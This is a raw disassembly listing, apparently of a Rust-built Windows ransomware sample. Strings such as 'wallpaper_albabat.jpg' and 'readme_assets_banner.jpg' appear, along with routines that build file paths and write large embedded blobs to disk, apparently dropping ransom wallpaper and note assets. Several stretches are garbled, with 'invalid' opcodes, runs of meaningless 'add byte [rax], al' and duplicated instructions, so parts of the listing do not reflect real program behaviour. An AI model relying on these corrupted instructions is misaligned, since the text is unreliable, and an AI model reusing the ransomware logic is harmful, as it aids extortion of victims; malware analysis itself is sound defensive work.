lea rcx, [0x1400b3b39]
mov edx, 4
call fcn.1400a3310
mov r14, rax
jmp 0x140027d0c
lea rcx, [0x1400b3b3d]
mov edx, 6
call fcn.1400a3310
mov r14, rax
mov r13b, 2
jmp 0x140027d2b
mov qword [rsp + 0x50], 0xa
jmp 0x140027ce2
lea rcx, [0x1400b3b39]
mov edx, 4
jmp 0x140027e47
lea rcx, [0x1400b3b3d]
mov edx, 6
call fcn.1400a3420
mov r14, rax
mov r13b, 2
cmp qword [rsp + 0x48], 0
jne 0x140027d19
jmp 0x140027d2b
lea rcx, [0x1400b3b22]
jmp 0x140027e42
lea rcx, [0x1400b3b29]
mov edx, 9
jmp 0x140027e47
lea rcx, [0x1400b3b32]
mov edx, 7
call fcn.1400a3420
jmp 0x140027c54
lea rcx, str.internal_error:_entered_unreachable_code_rustc_79e9716c980570bfd1f666e3b16ac583f0168962library_std_src_threadmod.rs
lea r8, [0x1400a9b90]
jmp 0x140028147
lea rcx, str.internal_error:_entered_unreachable_code_rustc_79e9716c980570bfd1f666e3b16ac583f0168962library_std_src_threadmod.rs
lea r8, [0x1400a9ba8]
mov edx, 0x28
call fcn.1400a4530
ud2
mov ecx, 8
mov edx, 8
call fcn.1400a42a0
ud2
mov rdx, qword [rsp + 0xa0]
mov r8, qword [rsp + 0xa8]
mov rcx, r14
call fcn.1400a2e70
mov rdi, rax
jmp 0x140028643
mov r14, rbx
cmp r13b, 2
je 0x140028164
mov eax, dword [rsp + 0x13f]
mov dword [rsp + 0x167], eax
mov rax, qword [rsp + 0x138]
mov qword [rsp + 0x160], rax
cmp byte [rsp + 0xb8], 0
je 0x140028538
movzx eax, byte [rsp + 0xb9]
jmp 0x140028562
lea rcx, [rsp + 0x50]
mov rdx, rdi
call section..text
movzx eax, byte [rsp + 0x50]
test eax, eax
jne 0x140028581
movzx eax, byte [rsp + 0x51]
mov byte [rsp + 0xb8], 1
mov byte [rsp + 0xb9], al
cmp al, 0x20
ja 0x140028606
movzx eax, al
bt rbp, rax
jae 0x140028606
mov byte [rsp + 0xb8], 0
jmp 0x140028538
cmp eax, 2
jne 0x1400285fa
mov rax, qword [rsp + 0x160]
mov qword [rsp + 0x150], rax
mov eax, dword [rsp + 0x167]
mov dword [rsp + 0x157], eax
mov rcx, qword [rsp + 0x98]
call qword [sym.imp.kernel32.dll_CloseHandle]
cmp qword [rsp + 0x88], 0
je 0x1400285d4
mov r8, qword [rsp + 0x80]
mov rcx, qword [0x1400f0220]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov eax, dword [rsp + 0x157]
mov dword [rsi + 0x17], eax
mov rax, qword [rsp + 0x150]
mov qword [rsi + 0x10], rax
mov qword [rsi], r14
mov qword [rsi + 8], r15
mov byte [rsi + 0x1b], r13b
jmp 0x1400286cb
mov rcx, qword [rsp + 0x58]
call fcn.1400a7540
jmp 0x140028629
mov qword [rsp + 0x50], 0x16
mov rdx, qword [rsp + 0xa0]
mov r8, qword [rsp + 0xa8]
lea rcx, [rsp + 0x50]
call fcn.1400a74c0
mov rdi, rax
test r15, r15
je 0x140028643
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [rsp + 0x98]
call qword [sym.imp.kernel32.dll_CloseHandle]
cmp qword [rsp + 0x88], 0
je 0x140028673
mov r8, qword [rsp + 0x80]
mov rcx, qword [0x1400f0220]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
movzx eax, byte [0x1400f02c0]
mov rcx, qword [0x1400f0220]
test rcx, rcx
jne 0x14002869f
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x140028153
mov rcx, rax
mov qword [0x1400f0220], rax
mov r8d, 8
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
je 0x140028153
mov qword [rax], rdi
mov qword [rsi], rax
lea rax, fcn.140009130
mov qword [rsi + 8], rax
mov byte [rsi + 0x1b], 2
add rsp, 0x178
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rcx, [rsp + 0x50]
mov rdx, rdi
call section..text
movzx eax, byte [rsp + 0x50]
test eax, eax
jne 0x140028720
movzx eax, byte [rsp + 0x51]
mov byte [rsp + 0xb8], 1
mov byte [rsp + 0xb9], al
movzx eax, al
cmp al, 0x2c
ja 0x14002876d
bt rbp, rax
jae 0x14002875c
mov byte [rsp + 0xb8], 0
jmp 0x1400286df
cmp eax, 2
jne 0x14002874d
mov qword [rsp + 0x50], 3
mov rdx, qword [rsp + 0xa0]
mov r8, qword [rsp + 0xa8]
lea rcx, [rsp + 0x50]
call fcn.1400a74c0
mov rbx, rax
jmp 0x140028780
mov rcx, qword [rsp + 0x58]
call fcn.1400a7540
mov rbx, rax
jmp 0x140028780
cmp rax, 0x2c
jne 0x14002876d
mov qword [rsp + 0x50], 0x15
jmp 0x14002872e
cmp eax, 0x7d
jne 0x140028820
mov byte [rsp + 0xb8], 0
xor ebx, ebx
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x58], r15
mov rax, qword [rsp + 0x170]
mov qword [rsp + 0x60], rax
movzx eax, byte [rsp + 0x47]
mov byte [rsp + 0x68], al
movzx eax, byte [rsp + 0x46]
mov byte [rsp + 0x69], al
mov byte [rsp + 0x6a], r12b
mov byte [rsp + 0x6b], r13b
mov qword [rsp + 0x70], rbx
cmp r13b, 2
jne 0x1400287d9
mov r13b, 2
test rbx, rbx
je 0x1400284fc
lea rcx, [rsp + 0x70]
call fcn.140009130
jmp 0x1400284fc
test rbx, rbx
je 0x140028801
mov r13b, 2
test r15, r15
je 0x1400284f9
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x1400284f9
lea rax, [rsp + 0x60]
mov ecx, dword [rax + 7]
mov dword [rsp + 0x13f], ecx
mov rax, qword [rax]
mov qword [rsp + 0x138], rax
jmp 0x1400284fc
mov qword [rsp + 0x50], 0x16
jmp 0x14002872e
and al, 1
movzx eax, al
sub qword [rsp + 0x2a8], rax
lea rax, [r12 - 0x10]
mov rcx, qword [rsp + 0xc0]
and rcx, rax
mov byte [r14 + r12], r15b
mov byte [rcx + r14 + 0x10], r15b
inc qword [rsp + 0x2b0]
neg r12
imul rax, r12, 0x38
mov rcx, qword [rsp + 0x238]
mov qword [r14 + rax - 0x38], rcx
mov rcx, qword [rsp + 0x2c8]
mov qword [r14 + rax - 0x30], rcx
mov rcx, qword [rsp + 0x2e8]
mov qword [r14 + rax - 0x28], rcx
mov rcx, qword [rsp + 0x338]
mov rcx, qword [rcx + 0x18]
mov qword [r14 + rax - 0x20], rcx
lea rcx, [rsp + 0x3f0]
movdqu xmm0, xmmword [rcx]
movdqu xmmword [r14 + rax - 0x18], xmm0
mov rcx, qword [rcx + 0x10]
mov qword [r14 + rax - 8], rcx
nop word cs:[rax + rax]
mov rdi, qword [rsp + 0x340]
cmp rdi, 6
je 0x14002b509
imul rsi, rdi, 0x38
mov rax, qword [rsp + rsi + 0x100]
mov qword [rsp + 0x400], rax
movups xmm0, xmmword [rsp + rsi + 0xd0]
movups xmm1, xmmword [rsp + rsi + 0xe0]
movups xmm2, xmmword [rsp + rsi + 0xf0]
movaps xmmword [rsp + 0x3f0], xmm2
movaps xmmword [rsp + 0x3e0], xmm1
movaps xmmword [rsp + 0x3d0], xmm0
mov r8, qword [rsp + rsi + 0xd0]
mov rax, qword [rsp + rsi + 0xd8]
mov qword [rsp + 0x2c8], rax
mov r9, qword [rsp + rsi + 0xe0]
mov rcx, qword [rsp + 0x2b8]
mov rdx, qword [rsp + 0x2c0]
mov qword [rsp + 0x238], r8
mov qword [rsp + 0x2e8], r9
call fcn.140009c80
mov r15, rax
cmp qword [rsp + 0x2a8], 0
je 0x14002b4ea
inc rdi
mov qword [rsp + 0x340], rdi
lea rax, [rsp + rsi]
add rax, 0xd0
mov qword [rsp + 0x338], rax
mov r14, qword [rsp + 0x298]
mov rax, qword [rsp + 0x2a0]
mov qword [rsp + 0xc0], rax
mov r13, rax
and r13, r15
shr r15, 0x39
movd xmm0, r15d
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufd xmm7, xmm0, 0
xor eax, eax
mov qword [rsp + 0x2d0], rax
xor eax, eax
mov qword [rsp + 0x248], rax
mov qword [rsp + 0x2e0], r14
mov qword [rsp + 0x2d8], r15
movdqu xmm8, xmmword [r14 + r13]
movdqa xmm0, xmm8
pcmpeqb xmm0, xmm7
pmovmskb ebp, xmm0
mov qword [rsp + 0xc8], r12
mov qword [rsp + 0x240], r13
jmp 0x14002afb5
mov r14, qword [rsp + 0x2e0]
mov r15, qword [rsp + 0x2d8]
mov r12, qword [rsp + 0xc8]
mov r13, qword [rsp + 0x240]
mov rbp, qword [rsp + 0x78]
test bp, bp
je 0x14002b3d0
tzcnt eax, ebp
add rax, r13
and rax, qword [rsp + 0xc0]
neg rax
imul rsi, rax, 0x38
lea rcx, [rsp + 0x2f0]
mov rdx, qword [rsp + 0x238]
mov r8, qword [rsp + 0x2e8]
call fcn.140081620
mov rdx, qword [r14 + rsi - 0x38]
mov qword [rsp + 0x348], rsi
mov r8, qword [r14 + rsi - 0x28]
lea rcx, [rsp + 0x250]
lea ecx, [rsp + 0x250]
lea ecx, [rsp + 0x250]
call fcn.140081620
mov rdi, qword [rsp + 0x2f8]
mov rsi, qword [rsp + 0x258]
cmp rdi, rsi
jne 0x14002b090
movzx ebx, byte [rsp + 0x300]
movzx eax, byte [rsp + 0x328]
cmp al, byte [rsp + 0x288]
jne 0x14002b098
cmp byte [rsp + 0x329], 2
jne 0x14002b098
cmp byte [rsp + 0x289], 2
jne 0x14002b098
cmp bl, 3
setb al
cmp byte [rsp + 0x260], 3
setb cl
xor cl, al
jne 0x14002b098
mov rcx, qword [rsp + 0x2f0]
mov rdx, qword [rsp + 0x250]
mov r8, rdi
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14002b098
movzx ebx, byte [rsp + 0x300]
cmp bl, 6
je 0x14002b0c1
lea rcx, [rsp + 0x301]
mov rax, qword [rcx + 0x1f]
mov qword [rsp + 0x4f], rax
movdqu xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
movaps xmmword [rsp + 0x40], xmm1
movdqa xmmword [rsp + 0x30], xmm0
mov r9, qword [rsp + 0x2f0]
movzx eax, byte [rsp + 0x32a]
movzx ecx, byte [rsp + 0x328]
movzx edx, byte [rsp + 0x329]
movaps xmm0, xmmword [rsp + 0x30]
movaps xmm1, xmmword [rsp + 0x40]
movaps xmmword [rsp + 0x410], xmm0
movaps xmmword [rsp + 0x420], xmm1
mov r8, qword [rsp + 0x4f]
mov qword [rsp + 0x42f], r8
movzx r8d, byte [rsp + 0x260]
cmp r8b, 6
je 0x14002b144
lea r11, [rsp + 0x261]
mov r10, qword [r11 + 0x1f]
mov qword [rsp + 0x9f], r10
movups xmm0, xmmword [r11]
movups xmm1, xmmword [r11 + 0x10]
movaps xmmword [rsp + 0x90], xmm1
movaps xmmword [rsp + 0x80], xmm0
lea r10d, [rbp - 1]
and r10d, ebp
mov qword [rsp + 0x78], r10
mov r10, qword [rsp + 0x250]
movzx r11d, byte [rsp + 0x28a]
movzx ebp, word [rsp + 0x288]
mov r14, qword [rsp + 0x9f]
lea r15, [rsp + 0x41]
mov qword [r15 + 0x1f], r14
movaps xmm0, xmmword [rsp + 0x80]
movaps xmm1, xmmword [rsp + 0x90]
movups xmmword [r15 + 0x10], xmm1
movups xmmword [r15], xmm0
mov qword [rsp + 0x80], r9
mov qword [rsp + 0x88], rdi
mov byte [rsp + 0x90], bl
mov r9, qword [rsp + 0x42f]
lea rdi, [rsp + 0x91]
add byte [rax], al
add byte [rax], al
mov qword [rdi + 0x1f], r9
movdqa xmm0, xmmword [rsp + 0x410]
movaps xmm1, xmmword [rsp + 0x420]
movups xmmword [rdi + 0x10], xmm1
movdqu xmmword [rdi], xmm0
movq qword [rdi], mm0
mov byte [rsp + 0xb8], cl
mov byte [rsp + 0xb9], dl
and al, 0xb8
add byte [rax], al
add byte [rax + 0xb92494], cl
add byte [rax], al
mov byte [rsp + 0xba], al
mov qword [rsp + 0x30], r10
mov qword [rsp + 0x38], rsi
mov byte [rsp + 0x40], r8b
cmp byte [rax + rcx*4 + 0x44], al
and al, 0x40
mov word [rsp + 0x68], bp
mov byte [rsp + 0x6a], r11b
nop word cs:[rax + rax]
invalid
test byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
lea rcx, [rsp + 0x390]
lea rdx, [rsp + 0x80]
call fcn.14007f370
invalid
add byte [rdi + rcx - 0x4a], al
mov esp, 0x39024
add byte [rcx - 0x7d], al
dec dword [rdx]
movzx r15d, byte [rsp + 0x390]
cmp r15d, 0xa
je 0x14002b380
add qword [rax], rax
add byte [rdi], cl
mov dh, 0xac
and al, 0x91
add eax, dword [rax]
add byte [rax - 0x75], cl
mov ah, 0x24
cwde
movzx ebp, byte [rsp + 0x391]
mov rsi, qword [rsp + 0x398]
add eax, dword [rax]
add byte [rbx + rcx*4 - 0x54], cl
and al, 0xa0
add eax, dword [rax]
add byte [rax - 0x75], cl
pushfq
and al, 0xa8
add eax, dword [rax]
add byte [rax - 0x75], cl
mov esp, 0x3b024
add byte [rax - 0x73], cl
mov word [rax + rdx*2], fs
add eax, dword [rax]
add byte [rax - 0x73], cl
push rsp
and al, 0x30
add eax, dword [rax]
add byte [rbx + rcx*4 - 0x54], cl
and al, 0xa0
add eax, dword [rax]
add byte [rax - 0x75], cl
pushfq
and al, 0xa8
add eax, dword [rax]
add byte [rax - 0x75], cl
mov esp, 0x3b024
add byte [rax - 0x73], cl
mov word [rax + rdx*2], fs
add eax, dword [rax]
add byte [rax - 0x73], cl
push rsp
and al, 0x30
call fcn.14007f370
movzx eax, byte [rsp + 0x350]
and al, 0x50
add eax, dword [rax]
add byte [rdx + rcx], bh
and al, 0x50
add eax, dword [rax]
add byte [rdx + rcx], bh
je case.default.0x14002b311
lea ecx, [r15 - 6]
cli
movzx ecx, cl
lea r8, [rcx + 1]
cmp cl, 4
mov r10d, 0
cmovae r8, r10
lea r9d, [rax - 6]
cli
movzx ecx, r9b
lea rdx, [rcx + 1]
cmp cl, 4
cmovae rdx, r10
cmp r8, rdx
jne case.default.0x14002b311
mov rdx, qword [rsp + 0x358]
mov rcx, qword [rsp + 0x360]
cmp r8d, 4
je case.0x14002b311.0
add byte [rax - 0x75], cl
mov word [rax + riz*2], fs
add eax, dword [rax]
add byte [rcx - 0x7d], al
clc
add al, 0x74
push rsp
test r8, r8
jne 0x14002b210
cmp r9b, 4
jb 0x14002b210
cmp r15b, al
jne case.default.0x14002b311
movzx eax, byte [rsp + 0x351]
mov r14, qword [rsp + 0x368]
mov r12, qword [rsp + 0x370]
mov r8d, r15d
add eax, dword [rax]
add byte [rbx + rcx*4 - 0x4c], cl
and al, 0x68
add eax, dword [rax]
add byte [rbx + rcx*4 - 0x5c], cl
and al, 0x70
add eax, dword [rax]
add byte [rbp - 0x77], al
clc
lea r9, [0x1400e6b60]
movsxd r8, dword [r9 + r8*4]
add r8, r9
jmp r8
cmp r13, rcx
jne case.default.0x14002b311
mov rcx, rsi
mov r8, r13
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x14002b210
jmp case.default.0x14002b311
cmp r13, rcx
jne case.default.0x14002b311
mov rcx, rsi
mov r8, r13
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne case.default.0x14002b311
cmp rdi, r12
jne case.default.0x14002b311
mov rcx, rbx
mov rdx, r14
mov r8, rdi
jmp 0x14002b32f
cmp bpl, al
je 0x14002b210
jmp case.default.0x14002b311
lea rcx, [rsp + 0x350]
lea rdx, [rsp + 0x30]
call fcn.14007f370
cmp byte [rsp + 0x350], 0xa
mov r14, qword [rsp + 0x2e0]
mov r15, qword [rsp + 0x2d8]
mov r12, qword [rsp + 0xc8]
mov r13, qword [rsp + 0x240]
mov rbp, qword [rsp + 0x78]
jne 0x14002afb5
jmp 0x14002b450
cmp qword [rsp + 0x248], 1
mov eax, 1
mov qword [rsp + 0x248], rax
je 0x14002b40c
pmovmskb eax, xmm8
xor ecx, ecx
test eax, eax
setne cl
mov qword [rsp + 0x248], rcx
tzcnt r12d, eax
add r12, r13
and r12, qword [rsp + 0xc0]
pcmpeqb xmm8, xmm6
pmovmskb eax, xmm8
test eax, eax
jne 0x14002b4c5
mov rax, qword [rsp + 0x2d0]
add r13, rax
add r13, 0x10
add rax, 0x10
mov qword [rsp + 0x2d0], rax
and r13, qword [rsp + 0xc0]
jmp 0x14002af63
add r14, qword [rsp + 0x348]
mov rsi, qword [r14 - 0x18]
mov rdi, qword [r14 - 0x10]
lea rcx, [rsp + 0x3f0]
mov rax, qword [rcx + 0x10]
mov qword [r14 - 8], rax
movdqu xmm0, xmmword [rcx]
movdqu xmmword [r14 - 0x18], xmm0
cmp qword [rsp + 0x2c8], 0
je 0x14002b49c
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, qword [rsp + 0x238]
call qword [sym.imp.kernel32.dll_HeapFree]
test rsi, rsi
je 0x14002ae40
test rdi, rdi
je 0x14002ae40
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14002ae40
movzx eax, byte [r14 + r12]
test al, al
js 0x14002adaa
movdqa xmm0, xmmword [r14]
pmovmskb eax, xmm0
tzcnt r12d, eax
movzx eax, byte [r14 + r12]
jmp 0x14002adaa
mov edx, 1
lea rcx, [rsp + 0x298]
lea r8, [rsp + 0x2b8]
call fcn.1400a3b70
jmp 0x14002aeed
mov rbp, qword [rsp + 0x298]
mov r8, qword [rsp + 0x2a0]
mov rdi, qword [rsp + 0x2b0]
movdqa xmm0, xmmword [rbp]
test r8, r8
je 0x14002b715
lea rcx, [r8 + 1]
mov edx, 0x38
mov rax, rcx
mul rdx
jo 0x14002b564
add rax, 0xf
and rax, 0xfffffffffffffff0
add r8, 0x11
add r8, rax
jb 0x14002b564
movabs rdx, 0x7ffffffffffffff1
cmp r8, rdx
jb 0x14002c3a5
xor edx, edx
mov r9, rbp
sub r9, rax
jmp 0x14002b71c
mov ecx, 1
xor edx, edx
lea rsi, [rbp + 0x10]
pmovmskb ebx, xmm0
not ebx
add rcx, rbp
mov qword [rsp + 0xd0], r9
mov qword [rsp + 0xd8], rdx
mov qword [rsp + 0xe0], r8
mov qword [rsp + 0xe8], rbp
mov qword [rsp + 0xf0], rsi
mov qword [rsp + 0xf8], rcx
mov word [rsp + 0x100], bx
mov qword [rsp + 0x108], rdi
test rdi, rdi
je 0x14002b912
pxor xmm6, xmm6
jmp 0x14002b79b
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
test rdi, rdi
je 0x14002bc77
test bx, bx
je 0x14002b7b0
lea eax, [rbx - 1]
and eax, ebx
jmp 0x14002b7d8
movdqa xmm0, xmmword [rsi]
pmovmskb ebx, xmm0
add rbp, 0xfffffffffffffc80
add rsi, 0x10
cmp ebx, 0xffff
je 0x14002b7b0
mov ecx, 0xfffffffe
sub ecx, ebx
not ebx
mov eax, ebx
and eax, ecx
mov ecx, ebx
tzcnt ecx, ecx
mov ebx, eax
dec rdi
neg rcx
imul rax, rcx, 0x38
cmp byte [rbp + rax - 0x20], 2
je 0x14002bc79
mov r15, qword [rbp + rax - 0x38]
mov r14, qword [rbp + rax - 0x30]
mov r8, qword [rbp + rax - 0x18]
mov rcx, qword [rbp + rax - 0x10]
mov r12, qword [rbp + rax - 8]
test r12, r12
je 0x14002b8f0
mov qword [rsp + 0xc8], rcx
mov qword [rsp + 0xc0], r8
mov qword [rsp + 0x78], rdi
mov rdx, qword [rbp + rax - 0x28]
lea rax, [rsp + 0x50]
mov word [rax + 4], 0
mov dword [rax], 0
mov dword [rsp + 0x30], 0
movdqu xmmword [rax - 0x18], xmm6
mov qword [rsp + 0x48], 7
mov byte [rsp + 0x51], 1
mov word [rsp + 0x53], 0x101
mov rcx, r15
lea r8, [rsp + 0x30]
call fcn.14007cdd0
mov r13, rax
mov rdi, rdx
test r14, r14
je 0x14002b88e
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
test r13, r13
jne 0x14002c287
mov qword [rsp + 0x80], rdi
lea rcx, [rsp + 0x80]
mov r14, qword [rsp + 0xc0]
mov rdx, r14
mov r8, r12
call fcn.140007960
test rax, rax
mov r12, qword [rsp + 0xc8]
jne 0x14002c363
mov rcx, rdi
call qword [sym.imp.kernel32.dll_CloseHandle]
mov r15, r14
test r12, r12
mov rdi, qword [rsp + 0x78]
jne 0x14002b780
jmp 0x14002b792
test rcx, rcx
je 0x14002b904
mov rcx, qword [0x1400f0220]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
test r14, r14
jne 0x14002b780
jmp 0x14002b792
xor edi, edi
jmp 0x14002bc89
xor edi, edi
mov qword [rsp + 0xf0], rsi
mov word [rsp + 0x100], bx
mov qword [rsp + 0x108], rdi
mov qword [rsp + 0xe8], rbp
lea rcx, [rsp + 0xd0]
call fcn.140007fe0
lea rdx, [0x1400aa973]
lea rcx, [rsp + 0xd0]
mov r8d, 0xb
call fcn.14007ad00
movzx eax, byte [rsp + 0xe8]
cmp al, 2
je 0x14002cd86
mov rsi, qword [rsp + 0xd0]
mov r15, qword [rsp + 0xd8]
mov r8, qword [rsp + 0xe0]
test al, al
je 0x14002c1ed
mov qword [rsp + 0x20], 7
lea r9, [0x1400aa84c]
lea rcx, [rsp + 0xd0]
mov rdx, rsi
call fcn.140081510
mov rbx, qword [rsp + 0xd0]
mov r14, qword [rsp + 0xe0]
lea rdx, str.wallpaper_albabat.jpg
lea rcx, [rsp + 0x80]
mov r8d, 0x15
call fcn.14000bdf0
mov rdi, qword [rsp + 0x80]
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x30]
mov rdx, rbx
mov r8, r14
mov r9, rdi
call fcn.140081510
cmp qword [rsp + 0x88], 0
je 0x14002bd7f
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0xd8], 0
je 0x14002bda1
mov r8, qword [rsp + 0xd0]
mov rcx, qword [0x1400f0220]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
test r15, r15
je 0x14002bdb8
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
mov dword [rsp + 0xf0], 0
mov word [rsp + 0xf4], 0
mov dword [rsp + 0xd0], 0
pxor xmm0, xmm0
movdqu xmmword [rsp + 0xd8], xmm0
mov qword [rsp + 0xe8], 7
mov byte [rsp + 0xf1], 1
mov byte [rsp + 0xf4], 1
mov byte [rsp + 0xf3], 1
mov rsi, qword [rsp + 0x30]
mov rdx, qword [rsp + 0x40]
lea r8, [rsp + 0xd0]
mov rcx, rsi
call fcn.14007cdd0
mov rbx, rax
mov rdi, rdx
cmp qword [rsp + 0x38], 0
je 0x14002be43
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
test rbx, rbx
jne 0x14002c2e0
mov qword [rsp + 0x80], rdi
lea rdx, [0x1400b4450]
lea rcx, [rsp + 0x80]
mov r8d, 0x10291
call fcn.140007960
mov rsi, rax
mov rcx, rdi
call qword [sym.imp.kernel32.dll_CloseHandle]
mov rdi, rsi
test rsi, rsi
jne 0x14002c2e0
lea rdx, [0x1400aa973]
lea rcx, [rsp + 0xd0]
mov r8d, 0xb
call fcn.14007ad00
movzx eax, byte [rsp + 0xe8]
cmp al, 2
je 0x14002cdee
mov rsi, qword [rsp + 0xd0]
mov r15, qword [rsp + 0xd8]
mov r8, qword [rsp + 0xe0]
test al, al
je 0x14002c3af
mov qword [rsp + 0x20], 7
lea r9, [0x1400aa84c]
lea rcx, [rsp + 0xd0]
mov rdx, rsi
call fcn.140081510
mov rbx, qword [rsp + 0xd0]
mov r14, qword [rsp + 0xe0]
lea rdx, str.readme_assets_banner.jpg
lea rcx, [rsp + 0x80]
mov r8d, 0x18
call fcn.14000bdf0
mov rdi, qword [rsp + 0x80]
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x30]
mov rdx, rbx
mov r8, r14
mov r9, rdi
call fcn.140081510
cmp qword [rsp + 0x88], 0
je 0x14002bf5f
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0xd8], 0
je 0x14002bf81
mov r8, qword [rsp + 0xd0]
mov rcx, qword [0x1400f0220]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
test r15, r15
je 0x14002bf98
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
mov dword [rsp + 0xf0], 0
mov word [rsp + 0xf4], 0
mov dword [rsp + 0xd0], 0
pxor xmm0, xmm0
movdqu xmmword [rsp + 0xd8], xmm0
mov qword [rsp + 0xe8], 7
mov byte [rsp + 0xf1], 1
mov byte [rsp + 0xf4], 1
mov byte [rsp + 0xf3], 1
mov rsi, qword [rsp + 0x30]
mov rdx, qword [rsp + 0x40]
lea r8, [rsp + 0xd0]
mov rcx, rsi
call fcn.14007cdd0
mov rbx, rax
mov rdi, rdx
cmp qword [rsp + 0x38], 0
je 0x14002c023
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
test rbx, rbx
jne 0x14002c2e0
mov qword [rsp + 0x80], rdi
lea rdx, [0x1400c4718]
lea rcx, [rsp + 0x80]
mov r8d, 0x8b82
call fcn.140007960
mov rsi, rax
mov rcx, rdi
call qword [sym.imp.kernel32.dll_CloseHandle]
mov rdi, rsi
test rsi, rsi
jne 0x14002c2e0
lea rdx, [0x1400aa973]
lea rcx, [rsp + 0x30]
mov r8d, 0xb
call fcn.14007c5d0
cmp byte [rsp + 0x48], 3
jne 0x14002ce56
mov rsi, qword [rsp + 0x30]
mov r12, qword [rsp + 0x38]
mov r8, qword [rsp + 0x40]
mov qword [rsp + 0x20], 7
lea r9, [0x1400aa84c]
lea rcx, [rsp + 0xd0]
mov rdx, rsi
call fcn.140081510
mov r14, qword [rsp + 0xd0]
mov r15, qword [rsp + 0xe0]
lea rdx, str.wallpaper_albabat.jpg
lea rcx, [rsp + 0x30]
mov r8d, 0x15
call fcn.14000bdf0
mov rbx, qword [rsp + 0x30]
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x20], rax
lea rdi, [rsp + 0x80]
mov rcx, rdi
mov rdx, r14
mov r8, r15
mov r9, rbx
call fcn.140081510
cmp qword [rsp + 0x38], 0
je 0x14002c120
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0xd8], 0
je 0x14002c142
mov r8, qword [rsp + 0xd0]
mov rcx, qword [0x1400f0220]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
test r12, r12
je 0x14002c159
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rbx, qword [rsp + 0x80]
mov rsi, qword [rsp + 0x90]
lea rcx, [rsp + 0xd0]
mov rdx, rbx
mov r8, rsi
call fcn.14007f910
cmp dword [rsp + 0xd0], 2
jne 0x14002c447
mov rax, qword [rsp + 0xd8]
mov ecx, eax
and ecx, 3
cmp ecx, 1
jne 0x14002c4af
lea rsi, [rax - 1]
mov rbx, qword [rax - 1]
mov r14, qword [rax + 7]
mov rcx, rbx
call qword [r14]
cmp qword [r14 + 8], 0
je 0x14002c1d6
cmp qword [r14 + 0x10], 0x11
jb 0x14002c1c4
mov rbx, qword [rbx - 8]
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14002c4af
test r8, r8
je 0x14002bcf0
lea rax, [rsi + r8]
mov rdx, rsi
jmp 0x14002c21c
add rdx, 2
cmp rcx, rax
cmovne rcx, rdx
nop word [rax + rax]
mov rdx, rcx
cmp rcx, rax
je 0x14002bcf0
lea rcx, [rdx + 1]
movzx r9d, byte [rdx]
test r9b, r9b
jns 0x14002c210
cmp r9b, 0xe0
jb 0x14002c1ff
cmp r9b, 0xed
jne 0x14002c25e
cmp rcx, rax
je 0x14002bcf0
lea rcx, [rdx + 2]
cmp rcx, rax
je 0x14002bcf0
cmp byte [rdx + 1], 0x9f
ja 0x14002cd8a
add rdx, 3
mov rcx, rdx
jmp 0x14002c210
add rdx, 2
cmp rcx, rax
cmove rdx, rcx
xor ecx, ecx
cmp rdx, rax
setne cl
add rcx, rdx
cmp r9b, 0xf0
jb 0x14002c210
xor edx, edx
cmp rcx, rax
setne dl
add rcx, rdx
jmp 0x14002c210
mov qword [rsp + 0xf0], rsi
mov word [rsp + 0x100], bx
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x108], rax
mov qword [rsp + 0xe8], rbp
mov r14, qword [rsp + 0xc0]
mov r12, qword [rsp + 0xc8]
test r12, r12
je 0x14002c2d3
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
